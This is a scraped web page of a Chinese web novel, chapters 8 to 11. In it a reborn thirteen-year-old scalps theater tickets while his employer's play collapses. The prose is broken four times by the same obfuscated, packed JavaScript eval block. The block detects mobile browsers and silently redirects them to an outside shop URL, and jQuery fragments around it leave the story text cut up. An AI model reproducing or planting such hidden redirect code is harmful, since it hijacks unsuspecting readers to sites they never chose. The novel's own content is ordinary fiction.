;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729496|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
最最重要的是,他细心、勤快,还懂得思考。
这时候受限于教育普及度不够,资讯上也不怎么发达,很多人做事都只是“别人说一就只做一”。
比如,有一次,爱丽丝要阿尔去寄一封信。
一开始没注意,等寄的时候才发现,地址那里写得有些模糊了。
若是换做别的人,肯定是不寄了,还要跑过来,大惊小怪地嚷一声“爱丽丝小姐,不行啊,地址写得不清楚,没办法寄走,这可怎么办”。
然后,本来就已经忙碌得四脚朝天的爱丽丝就不得不放下手边正干着的工作,没好气地拿过通讯录,重新翻出地址,写好,再让对方寄走。
但阿尔的做法是,自己去找地址,写好,寄走。
是不是听起来很简单?
仅仅是省了爱丽丝那边一个步骤?
可就是这么简单的活儿,很多人却死活想不到。
绝大多数人都更习惯将解决问题的事推给别人,遇到一点儿小困难,就要把明明做到一半的事停下来,等着别人来处理。
所以,当阿尔一表现出“我可以完成你交给我的每件事,不会让你操任何心”的棒棒哒特质……
爱丽丝小姐几乎快要爱死这孩子了。
若是成年人,兴许还要担心一下对方将来会不会抢自己的差事。可这么小的一个孩子,那就只剩下终于从繁琐杂务地狱中解脱的喜悦了。
所以,哪怕他现在丑得像换毛小狗崽;哪怕他瘦的皮包骨,绿眼睛,鼻子尖尖看起来像动画片里的坏蛋小女巫……
在爱丽丝的心中,也是天使般可爱贴心。
“这是上帝送我的新年礼物吗?!”
她美滋滋地想:“一周十块钱,这钱花得真是再值不过了。”
于是,阿尔到手的这份新工作自然就更加十拿九稳,无人能动摇了。
他像父亲当初那样生活规律起来,每天早出晚归,勤勤恳恳的工作,然后,再把每周赚到的钱拿给母亲充当家用。
西尔维夫人头脑简单,一向只顾眼前。
在每周有了稳定的十块收入后,她就把之前五十五块的事给抛到脑后,全当没发生过,掩耳盗铃地继续过着和以前一样的日子。
眨眼间,距离西尔维先生离世已经过去了一个多月。
可他抛下的那一堆孤儿寡母居然还好端端地活着,没有孤苦伶仃,绝望无助;没有无依无靠,以泪洗面;没有凄凄惨惨,被逼上街讨饭……反而奇迹般越过越好起来?真是太不可思议了!
一时间,整条街的街坊邻里都不禁为之啧啧称奇。
对此,真正的功臣阿尔没觉得多骄傲。
在他看来,好日子还在后头呢!
这时候,随着那部《漂亮先生》的剧的名气越来越大,他趁着预售时,提前买好、牢牢攒在手中的票,终于也到时间可以拿去卖了。
8. 第8章
第8章米尔森先生:人心散了,队伍不好带啊
上班的时候,爱丽丝注意到,阿尔很高兴。
这很奇怪。
当然,并不是说他就不能高兴了。
上帝既然赋予了人微笑的能力,那么,世界上哪怕最渺小、最卑贱的人也是有资格笑一笑的。
只是,这孩子一向心思很重,再加上家庭的重担总是沉沉地压在那骨瘦如柴的小肩膀上。
所以,日常相处,哪怕是笑,也是双眉紧锁的同时,才宛如昙花一现,可遇不可求地勾起唇角轻轻一笑,而接下来的表情就会立刻回复到小大人般成熟稳重的刻板样子了。
但这一次不太一样。
他的喜悦有些像是突然陷入热恋中的少女,哪怕自身已经去极力掩饰了,也无法控制地从眉梢眼角一点点儿地流露出来,自以为没什么,其实旁人早就看得一清二楚。
太难得了!
哪怕工作依旧繁琐和忙碌,爱丽丝也忍不住好奇地问了一声:“你这是遇到什么好事了吗?”
阿尔露出一个吃惊的表情:“啊?这么明显吗?”
爱丽丝饶有兴趣地打量他,无比肯定地点了点头,还特意用手指了指眼睛笑说:“这里都亮起来了。”
阿尔不好意思地用手捂了一下脸。
然后,他尽可能表现得轻描淡写:“其实也没什么,只是有机会能赚点儿小钱了。”
爱丽丝一愣,似乎没想到是这么一个答案。
她先是替这孩子开心,毕竟,以他的家境来说,多赚点儿钱,日子便会好过很多;但另一方面,她又警觉、担忧起来:“阿尔,若是你缺钱用可以问我借,有风险的钱不能随便拿。”
“不会的。”阿尔感激地望着爱丽丝。
然后,他有所保留地简单解释:“只是前阵子低价收了一些小玩意儿,正常不违法的那种,结果放到今天,机缘巧合碰上了涨价,打算晚上下班后去卖一卖……”
爱丽丝放下了心,也没有继续追根究底地问下去。
一来,她知道这孩子是个头脑清醒、心里有成算的,既然说正常不违法,那肯定不会有什么大问题;二来,也是觉得,一个孩子哪怕有机会能赚点儿钱,又能赚多少呢?自己一个大人有什么必要非得去打听一个孩子的生财法子?
于是,这事就暂时岔了过去。
这时候,刚好办公室里也来了人。
米尔森先生手底下最好的演出团,主要负责演《卖花女孩》那部剧的演员们突然就跑了过来。
由于这是一部女人剧,所以,办公室的门一打开,就有十数个活泼的女孩子喧哗笑闹地率先跑了进来,之后,也有少数几个男演员混在里头,一会儿向这个搭话,一会儿又转身笑语,,一会儿彼此也交流几句,一行人男男女女热热闹闹、旁若无人地将办公室挤了个满满登登。
起初,大家都是各聊各的,闹哄哄地没个主题。
可过了一会儿,便有一个叫克莉斯的女演员开了腔。
“米尔森先生叫我们来做什么?有谁知道吗?”
她虽在剧里负责扮演的是一个艳丽逼人,却很恶毒的反派女人,但戏份和地位也是相当于女二号的,所以,一向很有底气,此时,已经懒洋洋地把屋子里唯一的沙发霸占住了,还大大方方地把裙子下的两条穿着黑色丝袜,结着花边袜带的长腿搭在茶几上,明明是粗鲁动作,但在她身上却显得毫不做作、性感妩媚。
“我觉得可能是形势不大妙呢。”剧中女主角扮演者吉蒂倚靠在窗台处,很是愁眉不展地说。
她生的其实不如克莉斯漂亮,但形象很符合大众认知中的那种傻白甜女主,可能在观众们看来,就属于那种“看到路边男人露个上半身,都要骇晕过去”的纯洁女孩。
不过,这仅仅是观众们傻乎乎的想法。
她日常倒不会装什么纯洁样子,若真是圣母玛利亚那就应该被高高地供在教堂里,远远地看着,哪能跑来混娱乐圈,还在舞台上又唱又跳呢?
也因此,她这时候能很坦然地就说出了一副和自身形象很不符的刻薄话语来:“那个什么见鬼的、不知道到底从什么犄角旮旯、下贱地方冒出来走了狗屎运!我们真是遇到危机了,不是我说难听的,克莉斯,这回的麻烦,可不是你露露胸和大腿便能起死回生的了。”
克莉斯立刻冷笑一声,回击道:“你倒是做梦都想露,可你行吗?”
吉蒂天真地笑了笑,熟练地把扮纯洁少女的拿手把戏又拿出来,脸上羞怯怯地说:“我确实没你强,也没你有经验……更何况,观众们也不太想我露,他们都当人家是金发小天使呢。”
旁边就有人噗嗤一声地笑了起来,顿时让克莉斯脸上很是挂不住。
于是,剧里扮演吉蒂闺蜜,地位相当于女三的女演员贝儿忙站出来打圆场:“你俩先别吵啊,外边还有强敌,我们怎么先内讧了呢?”
吉蒂就捏着嗓子,娇娇地恶人先告状:“我没想吵啊,是她总要和人家对着干嘛。”
克莉斯立刻做了一个恶心要吐的表情,但也懒得理会这个斗了好些年的老对头,反而冲着和事佬贝儿斜了一眼过去,发作道:“别整天装好人了!你可是最不操心这部剧的人,谁不知道你过阵子就要结婚,现在魂儿只怕都飞天外了。说不准唱完今年,便要辞职回家相夫教子去了。”
贝儿笑了。
她假装不好意思地低头去摆弄自己的手,可一向干干净净的指甲,这会儿却修剪得尖尖,还涂了一层鲜艳的红,语气似是要辩白、诉苦,却带着点儿若隐若现的炫耀和喜悦:“唉,我也是没办法啊,韦斯特那个人你们知道的,最最老实单纯不过的一个人了。如今,他爱我爱得发狂,心里眼里都是我,一刻不想分离,整天连连赌咒发誓地说定要给我一个归宿,再不让我在舞台上抛头露面地受累……”
这回不止克莉斯了,连吉蒂都朝天花板翻了个白眼。
不过,前者这会儿觉得话题扯没边了,一点儿都不想再和两个猪队友说话;后者却很会做人,收起脸上的表情,低头凑过去,亲亲热热地和贝儿聊起了什么婚纱、喜宴之类的筹备问题。
由此可见,真是三个女人一台戏。
眼瞅这出戏暂时落了幕,其他站旁边悄悄围观的人才对视着默契一笑,又重新聊起天,屋子里就又恢复了刚进来时的乱糟糟气氛。
另一头,阿尔也看这一幕看得津津有味。
打从重生回来,他可真是好久没遇到这么熟悉又精彩的场面了。
爱丽丝见此,还特意拉了他一下,嘱咐说:“离她们远点儿……”
她像是教育小孩子一样地低声严肃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729497|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“这些女人个顶个得厉害,别看千娇百媚,其实,全是狐狸精变得,你这样的小男孩遇到了,怕不是要被吃得骨头都不剩。”
阿尔被逗笑了。
但还不等他说什么,喊了一群人过来开会的米尔森先生终于姗姗来迟。
他一走进来,说话的人就都闭了嘴。
一时间,拥挤的办公室就变得鸦雀无声。
米尔森先生的面色很凝重。
他走到所有人的正前方,没大声呵斥谁,也没有露出什么生气的神色,更没有来一场老太太裹脚布般的发言,只用一种陈述事实的语气,平静地说:“现在到底是怎么个情况,你们也应该都知道了,我这里也不多啰嗦。只实话告诉大家,剧院那边已经通知了,若是今晚的演出,还是不如受观众欢迎的话,那么,对不起,也别想什么以后了。今晚,今晚就是最后一场演出!他们要把剩下的演出时间都腾出来,给那部了。”
什么?
这可是砸吃饭碗的大事啊!
办公室里所有人一下子都惊了。
克莉斯大大张开了嘴,一副瞠目的样子:“怎么?怎么会?我们以前也遇到对手,那什么花花公子一类的,可也没到这个程度呀……“
米尔森先生不想回答这种没意义的问题。
他直接略过克莉斯,把目光投向屋子里的其他人,仿佛在指望能有一个极厉害的天才猛地从人群中跳出来,立刻说出个好办法来拯救这部剧。
但显然,这是绝不可能的。
于是,场面就像是老师上课点名。
他看到谁,谁就低下头,一副不敢和他对视、生怕被叫到的样子。
那一刻,也就几分钟,可所有人心里可能都有了度秒如年的感觉。
最终,米尔森先生没了指望,无力地靠在了桌边,连平时反光的秃顶似乎都不亮了,半响才艰难地嘱咐了一句:“决定命运的一场,大家身上还有什么绝活儿就不要再藏着、掖着了,全使出来吧!”
但众人还是沉默着。
这光景,谁都想当救世主,可谁也不敢轻易承诺什么。
米尔森先生叹了一口气。
他重新站直身体,走到门口,为大家拉开了门,还和和气气地安慰说:“诸位,我也没什么好说的了,事已至此,只能走一步看一步了。大家现在都回去好好休息,好好准备晚上的演出吧。”
众人面面相觑,又愣了好一会儿,才鱼贯地走了出去。
米尔森先生一声不响地望着他们离开,才转身回到里间办公室,把自己紧紧地关在了里面。
爱丽丝看着那扇紧闭的门和从门缝中透出的烟雾缭绕,不禁长长地叹了一口气。
她一边继续埋头干活,一边不禁难过又不解地自言自语起来:“那个什么真得那么好看吗?它里头的女演员难不成能比吉蒂、克莉斯和贝儿还俊吗?可是老板费尽心力,花了一年的功夫,一手打造出来的叫好剧,这都演好几年了……”
阿尔一时间不知道该说什么。
周围所有人都为的红火而发愁、烦恼,只有他打心眼里觉得高兴!
这就有点儿良心不安和尴尬了。
不过,这点儿良心不安和小尴尬,在他晚上把提前买好的预售票,一口气卖出足足三、四倍高价后,就消失得干干净净了。
9. 第9章
第9章西尔维夫人:外面卖的东西都是下了毒的
在初期没什么好名声,一度被认为是烂剧,开票时,大多数票贩就没收过票。
他们不像阿尔有什么重生记忆,可以提前知道这部剧在后期会火爆翻身,预售期就敢往里砸钱下手买票,自然是先持观望态度。结果,商机一闪即逝,等发现这部剧大卖、再想收票来倒卖时,已经太迟了。
阿尔垄断了市场。
别的票贩子做生意都是徘徊在剧院门口,见有人来就一窝蜂围上去,不停殷切问:“要票吗?要票吗?”
但他不用这么干。
只要站在一个小角落里,稍稍放出了一些“我手里有票”的风声,便有一群着急想看剧,可偏偏买不到票的观众们像洪水一样汹涌不可阻挡地冲过来,挥舞着钞票,争着、抢着地买票。
于是,大赚一笔。
一个月前卖票给他的售票员刚好看到这一幕。
他当场啧啧称奇地感叹了一句:“上帝啊,你居然真赌赢了?这怎么可能呢?这不现实!”
于是,等到那头演出开始,外头大厅空荡荡,没什么人了后,这位售票员先生也得了闲。
他就特意从售票的那间小屋子里走出来,一路小跑到阿尔面前,十二分惊叹地问:“你难不成是幸运女神的私生子?购票前,你妈刚好给你托梦了?”
“幸运女神的私生子?托梦?”
阿尔想想西尔维夫人这阵子那张愁眉不展的苦脸,险些笑出来。
他一边数着钞票,一边似真似假地调侃:“对我来说,我妈没半夜起来给我喂耗子药就已经是行大运了。”
售票员当他在开玩笑,只格外眼热地看着那一摞钱,心想:“这钱来得真容易啊!这要是我的该多好?”
因为心里这么想,嘴上便忍不住羡慕地带了点儿意思出来:“真棒啊!我卖了好多年的票,可从来没走过这种好运。”
“如果你也想走这种好运的话……”阿尔听了这话,脑中就灵光一闪。
他停下数钱的动作,试探地建议:“要不要试试和我合作?”
售票员愣了一下:“合作?”
阿尔就说:“说真的,你是卖一手票的,我是卖二手票的,我们干嘛不合作呢?这年头,一些剧到了预售的时候,别人也不知道,可你知道啊!你就早早地来通知我,把那些好座位的票,低价优先卖我。等到了出货的日子,我加点儿钱往出卖,回头翻倍地赚了钱,利润分你两成。”
“仔细想想吧,你一天到晚枯坐在这里,像滩死水一样地守着售票窗口卖票,每周也就能拿个死工资,那一日想要吃顿好的了,都要精打细算一番。可若是和我合作,不用花一毛一分钱,就能白得钱,这可是上好的无本买卖,再没有比这儿更好的事了。”
“你失心疯了吧?”
售票员没被忽悠过去,还很是精明地嚷嚷起来:“你真以为这样撞大运的好事还能再来一次?若天天有这种好事,我早成首富了。小子,我劝你知足常乐,发横财的梦少做。你只是运气好才碰巧赶上个赚钱的剧,等下次,下次你若是好运用尽、开始走背字儿,真遇上个糟糕的剧了,买来一堆票全砸在手里成废纸,你就该哭着明白世事艰难,求上帝再爱你一次了。”
然后,他语重心长、好心好意地劝了一句:“发横财是好,可都不长久;钱是好东西,可行险弄巧地赚,早晚也会吃大亏。”
但阿尔却很有把握地笑了:“
凭借上辈子的记忆,远的不说,起码十年内,具体那部剧扑街,那部剧受欢迎,他还是有记忆的,只不过,这一点儿肯定是没办法诉诸于口、拿来说服人的。
所以,他想了想说:“汉斯先生。”
售票员纠正说:“你记错啦,我是卖票的史密斯,隔壁那个卖汽水的才是汉斯。”
阿尔脸皮颇有厚度,面不改色:“史密斯先生,您知道的,我爸前不久死了……”
售票员翻了个白眼:“对,你妈还怀着孩子,你借了高利贷,还有弟弟妹妹要养!行啦,还有什么我不知道?”
“没什么了,但我总得多赚钱才能养家啊!”
“是这么回事,可万一赚不来钱呢?万一钱都赔光了呢?”
“那就只好全家一起上吊了。”
“……啊!你这个疯小子!怎么又来这套了?上次是同归于尽,现在又说什么上吊?动不动就是死啊活啊的,三天两头地说胡话!小子,你才十三岁,不是三十岁,以后的年头还长,就不能安安稳稳地过日子吗?”
“可你也说了,我这么小,若是不赌不拼,还能怎么赚钱?”
阿尔振振有词地说:“赚不来钱了,不说我现在的两个弟弟妹妹了,我马上要出生的弟弟妹妹可怎么办?奶粉钱,尿布钱,上学钱……我上哪还有什么以后的年头?更别提什么安安稳稳了。”
“哎哟,这么听起来,你还算是个顶顶有担当的养家男子汉了?”
“只是挣口饭吃。”
卖票的史密斯便长长叹了一口气,眼中还流露出一种同病相怜的理解,感叹地说:“你这话说得实在,这世道,我们男人的日子总是要更难过一点儿。”
然后,他又挣扎了一会才说:“你硬要买票的话,我也阻止不了,毕竟,这地方也不是只有我一个售票员,你不找我,也可以找别人,与其让你被别人骗,还不如在我这儿买。但做人凭良心,我可以给你挑最好的座位,也可以给你我这边能给的最低价格,咱们一切都按照规矩来,什么给我分成之类的没用话,就别再提啦!我是羡慕能赚钱的,可也不能占你这样小孩的便宜。话说回来,我还是要劝你,少做美梦、悬崖勒马、回头是岸,别真哪天赔了个底朝天。”
“那就说定了吧!”阿尔不理他的废话,只从容回应。
不过,临走的时候,他还是抬起了头,注视着这位史密斯先生,一本正经地说:“但我必须诚实地告诉你,不要分成,你将来可是会后悔的。”
卖票的史密斯就露出了不信和嘲弄的神色。
他好笑地回了一句:“行吧,那我可等着你了。”
因为顺利赚了钱,还机缘巧合地发展出一个‘内线’。
阿尔只觉得这份黄牛事业越发光明,心里十分高兴。
回家路上刚好碰到有种花国人在路边卖一种叫做炸云吞的小吃。
这个国家的人一向勤劳肯干,所以,哪怕现在都大半夜了,也不怕辛苦地在外头摆摊,偏偏手艺还好,做出来的东西,香飘十里,样子也精致小巧、酥脆金黄的好看,一眼看到就非常诱人……
考虑到今天也赚了些钱……
阿尔就难得大方地上前,足足买了四大份,想着带回去给家人加个餐。
可谁知,西尔维夫人一见就急了:“我辛辛苦苦为你做饭,你却去外头买那些脏东西。”
阿尔很迷茫:“不脏啊,我看着他做的,白面、肉馅、包好就下了油锅。”
“那是表面光鲜,背地指不定加了什么。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729498|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
西尔维夫人一脸严肃,义正言辞地说:“那些种花人做食物奇奇怪怪的,兴许里头还会加一大/麻,可/卡/因一类的毒品,要不然怎么做出来人人爱吃呢?”
阿尔真是快被她笑死。
他无奈又好笑地说:“妈妈,要是按你这么说,那吸/毒的人都应该去买炸云吞,既能吃饱饭还能解瘾,何必再花高价去买什么毒/品呢?”
西尔维夫人语塞了一下。
人有时就是很奇怪,她对亲儿子的话总是怀疑,可对一些明显的谬论、谣言却总是深信不疑,所以,哪怕也觉得这事讲不通,偏偏还要继续嘴硬:“反正那些人肯定是往里加东西了!一定是加了!外面的东西哪有家里的好吃,若是没加什么,怎么人人都爱吃,人人都去买呢?
“这倒也是,你说得也有几分道理。”
阿尔漫不经心地说:“但我猜,他们八成是加了一个叫‘美味’的调料。“
西尔维夫人万般心酸地哭了起来:“你这是说我做的饭不美味、不好吃了?你是嫌弃你妈妈没用了吗?我天天认认真真、辛辛苦苦地为你做吃的,你却喜欢上了那些种花人做的毒/药?你这个没良心的小白眼狼啊,我是白生养了你一场,连谁真心对你好,谁拿有毒玩意儿害你、骗你钱,你都不知道嘞!”
阿尔立刻举双手投降:“好啦好啦,我不吃,我这就把它们全扔出去。”
西尔维夫人继续委屈地哭:“你现在说是这么说了,过后,心里肯定还是要埋怨我的,可我真的都是为了你好……”
阿尔头都快炸了。
他拎着四份炸云吞,也不管现在都什么时候了,拔腿就往出跑。
可等跑到街上,才发现这会儿夜深人静,外头连个游荡的鬼影儿都没一个。
但又不想再回家和亲妈争吵,他就拎着那袋炸云吞,沿着黑乎乎的马路一直往前慢慢散步,同时在心里思索自己重生回来后发生的这些事,琢磨着有什么不对或疏漏的地方,这么走着走着……
“喂!喂!”
突然一个声音冒了出来。
阿尔吓了一跳,差点儿以为真撞上什么鬼了。
可等他抬头四处一看,却什么都没有,正心里忐忑想转身回家,又听那声音没好气地喊了一嗓子:“看哪呢?傻子?往下看!往下看!”
阿尔不禁顺着声音低头一瞧……
只见乌漆麻黑、杂草丛生的一处沟渠那里,竟躺着一个人。
更稀奇的是,这人喘着粗气,身上还压着一台挺大的电视机。
“您这是?”阿尔客气地问。
“没见过晚上搬东西的吗?”那人理直气壮地说。
阿尔明白,这是遇到贼了啊。
他就笑着讽刺了一句:“我见过晚上搬东西的,但确实是第一次碰见搬别人家东西,搬到脱力,被压底下的。”
那笨贼特别生气:“你这傻逼怎么那么多废话,还不快帮我把这玩意儿搬开。”
阿尔好脾气地答应:“行,但我力气小,你等我再去叫个人帮忙。”
那贼不疑有他,却还嘴贱地催他:“你快着点儿啊,别让你爹等太久!”
然后,他又说:“等等,你手里拿的什么吃的那么香?给你爹放下。”
阿尔气乐了,索性把快凉了的炸云吞丢了过去:“给,你等着吧。”
然后,他跑去电话亭匿名报了警,等完事后,之前还稍许郁闷的心情瞬间舒畅,便高高兴兴地吹着口哨,溜溜达达回家了。
10. 第10章
第10章米尔森先生:祝一帆风顺,前程万里
次日一早,阿尔如往常一样地来到办公室,精神抖擞地准备帮爱丽丝小姐干活儿。
但没想到的是,打开门呈现在眼前的是一副糟糕至极的场面。
房间里烟雾缭绕,应该是有人在里头抽了一夜的烟,桌子上的文件被全都挪到边角处,正中央则放着好几块不知道什么时候吃剩的三明治,正散发着一股馊味,还有一些喝剩一半的咖啡、啤酒、可乐,以及香烟头和散乱摆放的口香糖……
除此以外,吉蒂、克莉斯、贝儿,演出团的三位当家花旦,全都面色憔悴地并肩坐在不远处的沙发上,神色愧疚中夹杂一丝难堪;其他一些不怎么认识的演员们,或坐在椅子里,或站在屋子角落,脸上的表情可以称之为强颜欢笑;然后是米尔森先生,他站在窗前,手指夹着一根香烟,正面无表情地望着外头,一声不吭。
屋子里弥漫着压抑和冷清的气息。
这场面着实让人无措。
尤其是推门进入的那一刻,所有人都期盼地抬头,眼巴巴地望过来,等发现来的人只是一名小小的办公室勤杂工,而不是他们等待的什么好消息,便又都失望地低下了头。
阿尔悄悄走到爱丽丝旁边,轻声问:“有什么事需要我做吗?”
正努力把自己埋在文件堆里,极力忽略办公室中所有人的爱丽丝就抬起了头,迷茫地看了看四周,迟疑地说:“你,你……去给大家倒杯热水吧!”
一杯热水对整个局面的帮助显然微乎其微。
但在这个略带感伤的一刻,却也不失为一份简单的慰藉。
好些人在接过热水的那一刻,脸上紧绷的神色都稍稍舒缓。
他们礼貌地对阿尔道谢,始终维持着自身的风度。
尤其是米尔森先生,哪怕身处如此困境。
他依然友好地摸了摸这孩子的小脑袋,用一种长辈般的口吻温和说:“谢谢你啊,阿尔。祝你天天有好运,孩子。”
阿尔就莫名地难受起来。
按理说,他是没必要为这些上辈子已经发生过,且还和自己没什么关系的事而感伤。
但很多事情,隔岸观火和身处其中却是完全不同的感受。
在上辈子,他仅仅是在旁人的闲聊中得知了事情的全部经过,对种种细节都不怎么了解。
他们说,惨败后,演出团体没办法维持,只能解散收场,好些演员们不得不重新奔波、应聘,寻找下一个新饭碗。
话语轻描淡写,像是叙述一件最普通平常的事。
但隐藏在这些话语之后的却是……吉蒂和克莉斯两个漂亮女孩彼此无助的互相依偎,贝儿眼眶通红的泪眼,还有那些很可能离开这个剧组后,面对激烈竞争,再难找到合适工作,不得不长期失业,甚至被迫从此远离舞台的其他演员们。
他们还说,米尔森先生的戏剧制作公司虽不至于被一部剧拖垮,但市场被抢占后,也开始缓慢地走起了下坡路。
乍听这也不算什么。
在未来网络信息时代的冲击下,无数戏剧制作商都将不可避免地被汹涌而来、势不可挡的浪潮淹没,最终,化为一行行冰冷的数据,被统计在一些没什么人看的资料和文件中……
而米尔森先生的故事,想来不过是沧海中的一粟,微不足道。
如果不是刚好发生在身边,上辈子的阿尔也许连听都没听过。
可是,现在不一样了。
站在阿尔面前的人不是什么数据,是活生生的真实存在。
是会每天花一小时梳头,时刻忧心忡忡,担心秃顶范围扩大的傻瓜男人;
是会抠门、小气地始终坚持不多雇人,可也会出于歉疚,偶尔主动花钱给爱丽丝小姐买一束玫瑰讨好的精明商人;
是会投机取巧,选择雇佣廉价童工阿尔,但也会时不时好心地关怀一声“这孩子还小,别给他安排太多活儿”的好脾气老板;
是会训斥手底下的演员不努力,却在整出剧面临惨败局面下,努力克制自己,始终没有胡乱迁怒的讲道理好人。
想到这里,阿尔不禁对他产生了一种真切的同情。
尽管米尔森先生哪怕破了产,境遇也会比贫民区的他好上很多。
但这种同情并非是来自什么局外人居高临下的俯视,而是作为同一行业中人对其境遇的理解和感同身受,那种眼睁睁看着一部寄托了自己全部心血、一手打造的剧一点点儿地化为海面泡影,其痛苦程度很可能不亚于人鱼断尾、丧子之痛。
一片死寂中,时间一秒一秒地艰难流逝。
终于,又有人推门走了进来,是一位负责财务的职员。
所有人又一次抬起头,满怀期盼地望着他。
但他却面色沉重地带来了最终的噩耗:“三点七万元,先生,截止到昨晚的演出,我们亏损了三点七万,而且,接下来可能还会有一笔损耗,是关于舞台布景的处理……”
“处理?舞台布景怎么了?”一直没说话的吉蒂发出了惊慌的声音。
她有些发急地站起来,一脸要哭出来的可怜样子:“你们要把它怎么处理?”
但那位财务人员却压根没心情看这位漂亮的女主角一眼。
他公事公办地说:“既然不能再演了,那么大一个舞台布景就很占地方了,所以,剧院那边让我们尽快拉走。这样一来,运输还得再花点儿钱。可接着的问题是,拉走后还要考虑要不要保留下来。留的话,找地方长期存放要花钱;不保留的话,放到垃圾场销毁,还是要花一笔钱。”
然后,他给出了一个相当客观(冷酷)的建议:“从长远角度来说,考虑两者所需花费,我建议烧掉。”
克莉斯惊呼了一声,但她性格一向理智,很快紧紧合上了嘴,不想给人添乱;
贝儿抚着心口,闭着眼靠在沙发上,一语不发;吉蒂则开始小声哭了起来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729499|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>办公室里一片沉默。
然后,米尔森先生艰难地问:“我们自己烧的话,还要花钱吗?”
那名财务人员便又说了说什么环境保护法,防火灾的消防规定,还有场地占用费一类的乱七八糟玩意儿,总之一句话,钱是必须花的,否则,肯定会有人来找麻烦,到时候搞不好还会有罚款。
米尔森先生只好和他商量起具体去哪烧,怎么烧的步骤……
这个过程对办公室中的所有人都极为残忍,他们像是有一个至亲至近的老朋友刚刚去世,还来不及悲痛,就要眼睁睁地看着对方被拉进火葬场……
吉蒂一直像小女孩般地抽噎着。
但所有人都宽厚地没有责怪她,还一直假装什么都没发生。
毕竟,作为女主角,她大概是最伤心的一个。
因为她根本没办法忘记自己曾经站在那漂亮的舞台布景下,无比骄傲地接受着观众们的喜爱、掌声和欢呼的,那本是她一生中最光辉璀璨、最值得被铭记的时刻,但现在,却全都要被悲惨地付之一炬。
接下来的情节发展也不必多谈,反正是愁云惨淡的一天。
但在戏剧这一行,毫无疑问,胜者为王,落魄的失败者是没资格提什么条件的。
上辈子也曾在这行业工作的阿尔完全能理解这些人的悲伤,但对此无能为力。
他才十三岁,他还有一大家子要养,他目前所能做到的,仅仅是借着上辈子的先知,从夹缝中扣出一点儿小钱来先把自己的小日子过好。
然而,不管心里想得多么现实,多么理智,多么清清楚楚……
当他看到米尔森先生真诚且宽厚地挨个儿和演员们道别时,还是感受到了一种仿佛被攫住心灵的震撼。
作为老派戏剧从业者,米尔森先生身上有着一种极为可贵的品质。
而这种品质恰恰是后来生活在商品经济时代,习惯一切以利益为中心的阿尔所不具备的,且从来没有意识到的,也是格外触动人心的东西。
米尔森先生不像后来新兴起那些只知追逐名利的戏剧人一样,对赚钱的演员就笑脸以待,对不赚钱的演员就冷言冷语。
相反,他始终尊敬每一名为自己工作的演员,私底下还将他们视为最好的朋友,直到解散的一刻。
所以,在最后的一天,他静静站在办公室的门口,认真地送别了他的‘朋友们’,无比熟练喊出每一位演员的名字,再和他们一一拥抱、告别,并且,诚挚地送上祝福:“很荣幸能和您一起共事,希望有来年再聚的机会,祝一帆风顺,前程万里。”
阿尔十分感动。
等到中途有空,趁着别人还没得到什么消息的时候,他就像只勤劳的小蜜蜂一样,急急忙忙地跑去找那位卖票的史密斯先生,又买了好多张新出场次的戏票。
新出现的这些演出场次,显然是占用了原本的演出时间。
但成王败寇,胜者上,败者下,理当如此。
11. 第11章
第11章西尔维夫人:活着真是太难了!
米尔森先生当时的行为,给阿尔带来了很深的影响。
但他根本来不及、也没时间和精力去细想和思索……
因为冬天快到了。
这孩子现在满脑子都是:必须把取暖费交够,要给妈妈、弟弟妹妹买一些过冬穿的厚实衣服,漏风的窗户要雇人修好,家里食物吃光没?吃光也要买一点儿。还有,等到来年,弟弟约翰岁数差不多也该送去上学了,学费是不是也要准备出来?
除此以外,还有一个更严重的问题。
西尔维夫人这一胎到底是什么时候生?这玩意儿怎么搞?找个产婆?送去医院?还有,等生了之后呢?奶粉、尿布、摇篮……
阿尔默默盘算着手里的钱,很快就发现,之前赚到的那点儿钱根本不算什么。
但他骨子里有一种韧性,就也没什么气馁的情绪,更不想去怨天尤人,只毅然将身上所有钱全掏出来,又一次投入到了那份不怎么光彩的黄牛事业中。
